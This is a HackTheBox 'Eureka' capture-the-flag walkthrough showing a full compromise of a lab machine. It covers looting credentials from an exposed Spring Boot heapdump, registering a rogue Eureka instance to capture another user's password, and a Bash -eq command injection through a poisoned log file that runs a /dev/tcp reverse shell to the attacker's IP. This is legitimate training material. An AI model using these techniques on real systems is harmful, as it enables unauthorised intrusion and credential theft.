Eureka – HackTheBox Link to heading
- OS: Linux
- Difficulty: Hard
- Platform: HackTheBox
![]()
Summary Link to heading
“Eureka” is a Hard machine from HackTheBox platform. The victim machine is running a website on Spring Boot. This service has actuator endpoint exposed, where we are able to find a heapdump file that contain credentials for a user (that work for SSH service) and another web services, that ended up to be Netflix Eureka service. We then are able to add our attacker machine to load balanced thanks to Eureka service. This means that when requests are made to the victim machine it will “relay” requests to our attacker machine; eventually obtaining the password of a second user. Once inside the victim machine, it is running a script that is vulnerable to Command Injection in a Bash script. As the second obtained user, we are able to poison a log file that injects a command as root, compromising the system.
User Link to heading
We start with an Nmap scan looking for open TCP ports. We only find 3 ports open: 22 SSH, 80 and 8761 HTTP:
❯ sudo nmap -sS -p- --min-rate=5000 --open -n -Pn -vvv 10.10.11.66
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-01 01:06 -04
Happy 28th Birthday to Nmap, may it live to be 128!
Initiating SYN Stealth Scan at 01:06
Scanning 10.10.11.66 [65535 ports]
Discovered open port 22/tcp on 10.10.11.66
Discovered open port 80/tcp on 10.10.11.66
Discovered open port 8761/tcp on 10.10.11.66
Completed SYN Stealth Scan at 01:07, 16.57s elapsed (65535 total ports)
Nmap scan report for 10.10.11.66
Host is up, received user-set (0.22s latency).
Scanned at 2025-09-01 01:06:56 -04 for 17s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
8761/tcp open unknown syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.84 seconds
Raw packets sent: 80816 (3.556MB) | Rcvd: 79875 (3.195MB)
Applying some recognition scans over these ports with Nmap using -sVC flag we get:
❯ sudo nmap -sVC -p22,80,8761 10.10.11.66
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-01 01:08 -04
Nmap scan report for 10.10.11.66
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
| 256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
|_ 256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
8761/tcp open http Apache Tomcat (language: en)
| http-auth:
| HTTP/1.1 401 \x0D
|_ Basic realm=Realm
|_http-title: Site doesn't have a title.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.77 seconds
Scanning port 80 HTTP redirects to http://furni.htb domain.
Therefore, add furni.htb domain along with the target IP address to our /etc/hosts file:
❯ echo '10.10.11.66 furni.htb' | sudo tee -a /etc/hosts
Once done, use WhatWeb to check technologies being used by the web server; we do this for port 80 and 8761:
❯ whatweb -a 3 http://furni.htb
http://furni.htb [200 OK] Bootstrap, Content-Language[en-US], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.66], Meta-Author[Untree.co], Script, Title[Furni | Home], UncommonHeaders[x-content-type-options], X-Frame-Options[DENY], X-XSS-Protection[0], nginx[1.18.0]
❯ whatweb -a 3 http://furni.htb:8761
http://furni.htb:8761 [401 Unauthorized] Cookies[JSESSIONID], Country[RESERVED][ZZ], HttpOnly[JSESSIONID], IP[10.10.11.66], Java, UncommonHeaders[x-content-type-options], WWW-Authenticate[Realm][Basic], X-Frame-Options[DENY], X-XSS-Protection[0]
Site on port 80 is running on Nginx, whereas site running on port 8761 is apparently using Java to run the web server.
Visiting http://furni.htb in a web browser shows a website about forniture:

If we visit the site on port 8761 it just shows an HTTP login panel:

But default credentials do not work here.
To see if it is running on a Content Management System we can intentionally search for a non-existent page and check its response. For example, if we search for http://furni.htb/anything we get the response:

Checking then 0xdf’s blog for 404 pages we find it is the error page for Spring Boot:
Java web framework for creating Spring based web applications. Spring is a lightweight framework that offers an elaborate environment for robust programming and configuration model for Java-based applications. Spring Boot is a Java-based framework that is best for creating stand-alone, Spring-based applications in a short period.We can then attempt a simple Brute Force Directory Listing with Gobuster. First of all, search if there are specific wordlists for Spring Boot at SecLists:
❯ find /usr/share/seclists -name "*Spring*" 2>/dev/null
/usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt
There is one.
Use that wordlist to search for directories:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt -u http://furni.htb -t 40
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://furni.htb
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/actuator (Status: 200) [Size: 2129]
/actuator/caches (Status: 200) [Size: 20]
/actuator/features (Status: 200) [Size: 467]
/actuator/env/lang (Status: 200) [Size: 668]
/actuator/env/home (Status: 200) [Size: 668]
/actuator/info (Status: 200) [Size: 2]
/actuator/env/path (Status: 200) [Size: 668]
/actuator/refresh (Status: 405) [Size: 114]
/actuator/health (Status: 200) [Size: 15]
/actuator/env (Status: 200) [Size: 6307]
/actuator/metrics (Status: 200) [Size: 3319]
/actuator/sessions (Status: 400) [Size: 108]
/actuator/scheduledtasks (Status: 200) [Size: 54]
/actuator/configprops (Status: 200) [Size: 37195]
/actuator/mappings (Status: 200) [Size: 35560]
/actuator/loggers (Status: 200) [Size: 98345]
/actuator/conditions (Status: 200) [Size: 184221]
/actuator/beans (Status: 200) [Size: 202253]
/actuator/threaddump (Status: 200) [Size: 232775]
Progress: 120 / 121 (99.17%)[ERROR] context deadline exceeded (Client.Timeout or context cancellation while reading body)
Progress: 120 / 121 (99.17%)
===============================================================
Finished
===============================================================
It seems that /actuator directory is exposed.
Based on this blog, Actuator is something similar to an endpoint used for debugging.
This other blog shows why if the directory /actuator is exposed at Spring Boot it could be dangerous. There, they talk about a /heapdump endpoint as is mentioned here. Now, if we search for this file in the webserver using the suggested command with cURL the file is there:
❯ curl 'http://furni.htb/actuator/heapdump' -O
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 76.4M 100 76.4M 0 0 1964k 0 0:00:39 0:00:39 --:--:-- 2986k
It happens this file is 76.4M.
Why didn’t Gobuster show it then? Because this file is so big, it takes more than 10 seconds (the default value for Gobuster) to get that page and that’s why it is not directly reported. Apparently this has been “patched” for Gobuster version 3.8.1 and later. “Patched” in the sense it now prints the error indicating the timeout.
As the blog suggests, we could try to find credentials in this heapdump file. For this purpose we can use strings along with grep:
❯ strings heapdump | grep -i 'password='
proxyPassword='
{password=0sc@r190_S0l!dP@sswd, user=oscar190}!
update users set email=?,first_name=?,last_name=?,password=? where id=?!
We have what seems to be a password 0sc@r190_S0l!dP@sswd and a user oscar190.
We can also use JDumpSpider (that can be downloaded from its Github repository) to search for credentials:
❯ wget https://github.com/whwlsfb/JDumpSpider/releases/download/dev-20250409T071858/JDumpSpider-1.1-SNAPSHOT-full.jar -q
and use this tool passing as argument the downloaded heapdump file:
❯ java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
===========================================
SpringDataSourceProperties
-------------
password = 0sc@r190_S0l!dP@sswd
driverClassName = com.mysql.cj.jdbc.Driver
url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
username = oscar190
===========================================
<SNIP>
===========================================
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
spring.datasource.driver-class-name = com.mysql.cj.jdbc.Driver
spring.cloud.inetutils.ignoredInterfaces = enp0s.*
eureka.client.service-url.defaultZone = http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
server.forward-headers-strategy = native
spring.datasource.url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.application.name = Furni
server.port = 8082
spring.jpa.properties.hibernate.format_sql = true
spring.session.store-type = jdbc
spring.jpa.hibernate.ddl-auto = none
===========================================
<SNIP>
This tool not only finds the credentials for oscar, it apparently also does for the site running on port 8761 as can be seen at:
http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
We get a new pair of credentials: EurekaSrvr:0scarPWDisTheB3st.
If we put that credentials into http://furni.htb:8761 we can login and we are inside:

We can also check if credentials found for oscar190 user are valid for SSH with NetExec:
❯ nxc ssh 10.10.11.66 -u 'oscar190' -p '0sc@r190_S0l!dP@sswd'
SSH 10.10.11.66 22 10.10.11.66 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH 10.10.11.66 22 10.10.11.66 [+] oscar190:0sc@r190_S0l!dP@sswd Linux - Shell access!
They worked.
Therefore, access to the victim machine using these credentials:
❯ sshpass -p '0sc@r190_S0l!dP@sswd' ssh -o stricthostkeychecking=no oscar190@10.10.11.66
<SNIP>
Last login: Mon Sep 1 06:18:22 2025 from 10.10.16.10
oscar190@eureka:~$
user.txt flag is not here, so we must pivot to another user.
Looking for users in this machine we can see another one called miranda-wise:
oscar190@eureka:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
oscar190:x:1000:1001:,,,:/home/oscar190:/bin/bash
miranda-wise:x:1001:1002:,,,:/home/miranda-wise:/bin/bash
At /opt there are some files. More specifically, there is a log_analyse-sh file:
oscar190@eureka:~$ ls -la /opt
total 24
drwxr-xr-x 4 root root 4096 Mar 20 14:17 .
drwxr-xr-x 19 root root 4096 Apr 22 12:47 ..
drwxrwx--- 2 root www-data 4096 Aug 7 2024 heapdump
-rwxrwxr-x 1 root root 4980 Mar 20 14:17 log_analyse.sh
drwxr-x--- 2 root root 4096 Apr 9 18:34 scripts
It is a big Bash script. A function that seems interesting is:
analyze_http_statuses() {
# Process HTTP status codes
while IFS= read -r line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
found=0
# Check if code exists in STATUS_CODES array
for i in "${!STATUS_CODES[@]}"; do
existing_entry="${STATUS_CODES[$i]}"
existing_code=$(echo "$existing_entry" | cut -d':' -f1)
existing_count=$(echo "$existing_entry" | cut -d':' -f2)
if [[ "$existing_code" -eq "$code" ]]; then
new_count=$((existing_count + 1))
STATUS_CODES[$i]="${existing_code}:${new_count}"
break
fi
done
done < <(grep "HTTP.*Status: " "$LOG_FILE")
}
It is checking the code status at Status: <status code> line.
More specifically, the line:
if ` "$existing_code" -eq "$code" `; then
Is interesting. Since if we can manipulate the variable $code, we could reach a Command Injection.
This blog explains why using -eq can be critically vulnerable when we can manipulate one of the variables being compared. As an example, they provide the simple Bash code:
#!/bin/bash
printf "Content-type: text\n\n"
read PARAMS
NUM="${PARAMS#num=}"
if ` "$NUM" -eq 100 `;then
echo "OK"
else
echo "NG"
fi
and reach Command Injection in a web server thanks to -eq:
$ curl -d num='x[$(cat /etc/passwd > /proc/$$/fd/1)]' http://localhost/index.cgi
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
gnome-initial-setup:x:126:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:127:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
NG
Now, we can check if we have any cronjobs or tasks running using pspy. First, download a binary from its Github repository and pass it to the victim machine using scp and oscar190 credentials:
❯ sshpass -p '0sc@r190_S0l!dP@sswd' scp pspy64 oscar190@10.10.11.66:/tmp/pspy
Assign execution permissions to the binary, execute it and wait:
oscar190@eureka:~$ chmod +x /tmp/pspy
oscar190@eureka:~$ /tmp/pspy
<SNIP>
2025/09/01 06:38:49 CMD: UID=0 PID=1 | /sbin/init maybe-ubiquity
2025/09/01 06:39:01 CMD: UID=0 PID=133690 | /usr/sbin/CRON -f
2025/09/01 06:39:01 CMD: UID=0 PID=133691 | /usr/sbin/CRON -f
2025/09/01 06:39:01 CMD: UID=0 PID=133693 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0 PID=133694 | curl -s -i http://localhost:8081/login
2025/09/01 06:39:01 CMD: UID=0 PID=133698 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0 PID=133696 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0 PID=133701 | grep -oP (?<=Set-Cookie: SESSION=)[^;]+
2025/09/01 06:39:01 CMD: UID=0 PID=133700 | ???
2025/09/01 06:39:01 CMD: UID=0 PID=133699 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0 PID=133702 | mktemp
2025/09/01 06:39:01 CMD: UID=0 PID=133703 | cat
2025/09/01 06:39:01 CMD: UID=0 PID=133704 | curl http://furni.htb/login -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=YzJlYTY0N2QtZTA5My00ZDg3LWJhMDQtNWM1MTAzZDQ2YWEx -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.57LtY6RdPV --insecure -i
2025/09/01 06:39:01 CMD: UID=0 PID=133707 | curl http://furni.htb/login -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=YzJlYTY0N2QtZTA5My00ZDg3LWJhMDQtNWM1MTAzZDQ2YWEx -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.57LtY6RdPV --insecure -i
2025/09/01 06:39:01 CMD: UID=0 PID=133710 | curl http://furni.htb/login -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=YzJlYTY0N2QtZTA5My00ZDg3LWJhMDQtNWM1MTAzZDQ2YWEx -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.57LtY6RdPV --insecure -i
2025/09/01 06:39:01 CMD: UID=0 PID=133713 | curl http://furni.htb/login -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=YzJlYTY0N2QtZTA5My00ZDg3LWJhMDQtNWM1MTAzZDQ2YWEx -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.57LtY6RdPV --insecure -i
2025/09/01 06:39:01 CMD: UID=0 PID=133716 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0 PID=133719 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0 PID=133722 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:40:01 CMD: UID=0 PID=133724 | /usr/sbin/CRON -f
2025/09/01 06:40:01 CMD: UID=0 PID=133723 | /usr/sbin/CRON -f
2025/09/01 06:40:01 CMD: UID=0 PID=133726 | /usr/sbin/CRON -f
2025/09/01 06:40:01 CMD: UID=0 PID=133725 |
2025/09/01 06:40:01 CMD: UID=0 PID=133727 | /bin/sh -c /opt/scripts/log_cleanup.sh
2025/09/01 06:40:01 CMD: UID=0 PID=133728 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:40:01 CMD: UID=0 PID=133731 | /bin/sh /opt/scripts/log_cleanup.sh
2025/09/01 06:40:01 CMD: UID=0 PID=133730 | /bin/sh /opt/scripts/log_cleanup.sh
2025/09/01 06:40:01 CMD: UID=0 PID=133729 | /bin/sh /opt/scripts/log_cleanup.sh
2025/09/01 06:40:01 CMD: UID=0 PID=133734 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:40:01 CMD: UID=0 PID=133733 | grep LoginSuccessLogger /var/www/web/cloud-gateway/log/application.log
2025/09/01 06:40:01 CMD: UID=0 PID=133732 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
<SNIP>
The script /opt/log_analyse.sh is using the file application.log.
We can check if we have read permissions over this file:
oscar190@eureka:~$ id
uid=1000(oscar190) gid=1001(oscar190) groups=1001(oscar190)
oscar190@eureka:~$ ls -la /var/www/web/cloud-gateway/log/application.log
-rw-rw-r-- 1 www-data www-data 21433 Sep 1 06:46 /var/www/web/cloud-gateway/log/application.log
We don’t. Only www-data has permissions over this file.
If we check permissions of /var/www/web/cloud-gateway/log/ directory:
oscar190@eureka:~$ ls -la /var/www/web/cloud-gateway/log/
total 48
drwxrwxr-x 2 www-data developers 4096 Sep 1 05:05 .
drwxrwxr-x 6 www-data developers 4096 Mar 18 21:17 ..
-rw-rw-r-- 1 www-data www-data 22339 Sep 1 06:47 application.log
-rw-rw-r-- 1 www-data www-data 5702 Apr 23 07:37 application.log.2025-04-22.0.gz
-rw-rw-r-- 1 www-data www-data 5956 Sep 1 05:05 application.log.2025-04-23.0.gz
We can see that developers group also can write in this directory.
But only miranda-wise user is a member of this group:
oscar190@eureka:~$ getent group developers
developers:x:1003:miranda-wise
So we must find a way to pivot to this user.
Now is when the Eureka services comes in. If we search for netflix eureka (as Netflix uses this service) we get:
Netflix Eureka is a service registry and discovery tool designed for cloud-based microservice architectures, allowing individual services to register themselves and dynamically discover other services without manual configuration. It consists of a Eureka Server, which acts as a central registry, and Eureka Clients, which are the microservices that register and query the server to find other services. Eureka is particularly useful in dynamic environments where service instances may change locations or scale up and down, facilitating dynamic load balancing and communication between services.This another blog also relates Eureka to Spring Boot. Basically, we can add our IP address to the dynamic load balancer. If a user makes a request, we could then make this request point to our attacker machine. This another blog explains how to add ourselves. If we go back to the site we logged in at port 8761 we can see 3 instances registered at Eureka:

We have an app-geteway instance on port 8080, Furni app (probably the website) on port 8082 and User-Management-Service on port 8081.
Following the blog and also the REST API for Eureka we can add a payload (malicious instance) with cURL:
❯ curl -X POST http://EurekaSrvr:0scarPWDisTheB3st@10.10.11.66:8761/eureka/apps/USER-MANAGEMENT-SERVICE -H 'Content-Type: application/json' -d '{
"instance": {
"instanceId": "gunzf0x",
"hostName": "10.10.16.10",
"app": "USER-MANAGEMENT-SERVICE",
"ipAddr": "10.10.16.10",
"vipAddress": "USER-MANAGEMENT-SERVICE",
"status": "UP",
"port": {
"$": 8081,
"@enabled": "true"
},
"dataCenterInfo": {
"@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
"name": "MyOwn"
}
}
}'
Where 10.10.16.10 is our attacker IP address, naming the evil instance as gunzf0x.
If we check the original webpage (refresh the page), our added instance is there:

As we have set port 8081 as instance, start a netcat listener on that port or a Python HTTP temporal server. After some time we get an HTTP request:
❯ nc -lvnp 8081
listening on [any] 8081 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.66] 60372
POST /login HTTP/1.1
X-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1,127.0.0.1
X-Forwarded-Proto: http,http
Content-Length: 168
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: SESSION=OWMwNWNjYjMtZDY3Ni00ZTMyLWE2MjQtZjRmN2I2NmQ4NGMx
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Forwarded: proto=http;host=furni.htb;for="127.0.0.1:55214"
X-Forwarded-Port: 80
X-Forwarded-Host: furni.htb
host: 10.10.16.10:8081
username=miranda.wise%40furni.htb&password=IL%21veT0Be%26BeT0L0ve&_csrf=tVeYamwuq0Ip_wtToyfLpdJLSrx1CAW7fOVu_91KEt7y62plgWP5DF5KmScEmm9hwgr_xOB8Z90Ubj2WSYFXmrlyK-3C2FlS
If we url-decode the obtained password parameter, we get: IL!veT0Be&BeT0L0ve.
Check if this password works for miranda-wise user with NetExec for SSH service:
❯ nxc ssh 10.10.11.66 -u 'miranda-wise' -p 'IL!veT0Be&BeT0L0ve'
SSH 10.10.11.66 22 10.10.11.66 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH 10.10.11.66 22 10.10.11.66 [+] miranda-wise:IL!veT0Be&BeT0L0ve Linux - Shell access!
They worked.
Log in as miranda-wise user throughout SSH (or pivot internally from oscar190 session):
❯ sshpass -p 'IL!veT0Be&BeT0L0ve' ssh -o stricthostkeychecking=no miranda-wise@10.10.11.66
<SNIP>
Last login: Mon Sep 1 07:29:16 2025 from 10.10.16.10
miranda-wise@eureka:~$
We can grab the user flag.
Root Link to heading
Now that we are miranda-wise user, we are part of developers group:
miranda-wise@eureka:~$ id
uid=1001(miranda-wise) gid=1002(miranda-wise) groups=1002(miranda-wise),1003(developers)
and as we have seen, developers group can write files at /var/www/web/cloud-gateway/log/ directory.
We can then abuse the Command Injection at log_analyser.sh. As pspy has shown, user with PID=0 is running this task, i.e., root. As we have seen, we don’t have direct permissions over application.log directory. But we do have permissions over the directory that contains that file as we are members of developers group. This means we cannot directly modify that fiule, but we do can remove it or rename it:
Remembering, the vulnerable function was:
analyze_http_statuses() {
# Process HTTP status codes
while IFS= read -r line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
found=0
# Check if code exists in STATUS_CODES array
for i in "${!STATUS_CODES[@]}"; do
existing_entry="${STATUS_CODES[$i]}"
existing_code=$(echo "$existing_entry" | cut -d':' -f1)
existing_count=$(echo "$existing_entry" | cut -d':' -f2)
if [[ "$existing_code" -eq "$code" ]]; then
new_count=$((existing_count + 1))
STATUS_CODES[$i]="${existing_code}:${new_count}"
break
fi
done
done < <(grep "HTTP.*Status: " "$LOG_FILE")
}
We need to write the payload at the right of Status: string. But also at the end of it it is expecting the word HTTP Status. Therefore, the payload might have the form:
HTTP Status: <payload>
Start a listener with netcat on port 443:
❯ nc -lvnp 443
listening on [any] 443 ...
We can write the new application.log file and inject the payload to get a reverse shell:
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ echo 'HTTP Status: x[$(/bin/bash -i >& /dev/tcp/10.10.16.10/443 0>&1)]' > application.log
After some seconds, we get a shell as root user:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.66] 40226
bash: cannot set terminal process group (222139): Inappropriate ioctl for device
bash: no job control in this shell
root@eureka:~# whoami
whoami
root
GG. We can grab the root flag at /root directory.
~Happy Hacking.